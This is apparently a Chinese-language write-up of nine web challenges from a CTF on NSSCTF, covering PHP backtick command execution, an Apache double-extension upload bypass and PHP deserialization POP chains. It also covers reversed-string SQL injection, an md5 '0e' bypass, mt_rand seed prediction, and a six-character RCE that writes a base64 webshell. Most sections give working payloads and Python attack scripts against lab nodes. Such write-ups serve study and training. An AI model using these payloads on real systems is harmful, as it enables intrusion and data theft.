目录
①websign

右键打不开,直接抓包发包看源码

②ez_rce
"反引号" 在PHP中会被当作SHELL命令执行
?code=printf(`l\s /`);

?code=printf(`ta\c /fffffffffflagafag`);

③ez_upload
先随便输点东西报错,发现是apache

文件上传有关php的后缀都被ban了,于是考虑上传.htaccess,然而禁止上传该类型文件。
尝试利用 Apache解析漏洞
Apache解析漏洞主要是因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准),可用来绕过黑名单过滤。
④ez_unser

这里__wakeup不能通过修改属性个数来绕过
所以利用this-\>b=this->c
构造
<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=new test();
$a->b=&$a->a;
$a->c="system('tac /fffffffffflagafag');";
echo serialize($a);
?>
        先触发__wakeup后触发__destruct,让a的值等于c的值
payload:
?a=O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system('tac /fffffffffflagafag');";}
⑤ezsql
先是万能密码试一试
1' or 1=1#

通过回显知道了三个信息:
注入点在passwd即可,输入的payload被逆向,闭合方式为')
字符串逆向的代码
s = "需要逆向的字符串"
r = s[::-1]
print(r)
        注:以下payload都是逆向之前的
1') or 1=1#
        
1') order by 2#
        测出列数为2
1') union select 1,table_name from information_schema.tables where table_schema=database()#
        
发现or被过滤,双写绕过即可
from->frroom
1') union select 1,table_name frroom information_schema.tables where table_schema=database() #
        
 # 'galf'=eman_elbat dna )(esabatad=amehcs_elbat erehw snmuloc.amehcs_noitamrofni moorrf eman_nmuloc,1 tceles noinu )'1

#galf moorrf FTCUU,1 tceles noinu )'1

⑥ezpop
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>
        一眼字符串逃逸(hacker->loveuu!,增加一个字符)
先随便构造
$a=new UUCTF("suibian");
echo serialize($a);
        O:5:"UUCTF":4:{s:4:"name";s:7:"suibian";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
字符串逃逸
";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:xxx:"xxxx";s:2:"ob";N;}暂未知道需要逃逸多少个字符
先把局部的exp构造出来
先是搓链子
nothing::__wakeup|__destruct -> output::__toString -> youwant::rce()
构造
$a=new nothing();
$b=new output();
$c=new youwant();
$a->a=&$a->b;
$a->t=$b;
$b->a=$c;
$c->cmd="system('cat flag.php');";
echo base64_encode(serialize($a));
//Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19
        ";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}
共236个字符,即需要236个hacker
print("hacker"*236)
        最终payload:
data=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}
⑦funmd5

md5=preg_replace('/\^(.)0e(.)/','{1}no_science_notation!{2}',md5); if(preg_match('/0e/',md5[0]))
两个条件是矛盾的,但是我们可以%0a绕过preg_replace函数
自身与md5相等,对于0e215962017,md5后也是以0e开头
因此md5[0]应该传入%0a0e215962017,但是我们又多了一个%0a 换行符,通过上面这行代码 md5\[0\]=substr(md5[0],$sub);
可以在 $sub=1的时候,执行会达到删去%0a的作用
sub=substr(time,-1); sub由time决定,sub为time的最后一位
md5\[1\]===guessmd5,后者是1秒一变的,得写脚本了
import requests
import time
import hashlib
s = requests.session()
while True:
    url = "http://node5.anna.nssctf.cn:28849/?md5[0]=%0a0e215962017&md5[1]={}".format(hashlib.md5(str(int(time.time())).encode('utf-8')).hexdigest())
    res = s.get(url=url).text
    print(res)
    if 'well' in res:
        print(res)
        break
    time.sleep(0.5)
        跑出了flag
⑧phonecode
下一次必然命中?联想到mt_rand()和mt_srand() 随机数种子
随便输点东西,bp抓包发包看响应

<?php
mt_srand(1);
echo mt_rand()."<br/>"; #895547922
echo mt_rand()."<br/>"; #2141438069
?>
        hint是你输入种子的第一次随机数,而code要输入的是第二次的随机数。

⑨ezrce
输入whoami

输入1234567

测出来是限长6字符RCE ,且回显告诉我们命令在tmp之下执行
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总
import requests
url = "http://node5.anna.nssctf.cn:28958/post.php"
print("[+]start attack!!!")
with open("6rce.txt", "r") as f:
    for i in f:
        data = {"cmd": f"{i.strip()}"}
        requests.post(url=url, data=data)
resp = requests.get("http://node5.anna.nssctf.cn:28958/tmp/1.php")
if resp.status_code == requests.codes.ok:
    print("[*]Attack success!!!")
        6rce.txt内容
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f
        
访问/tmp/1.php
?1=system('tac /f*');即可拿到flag


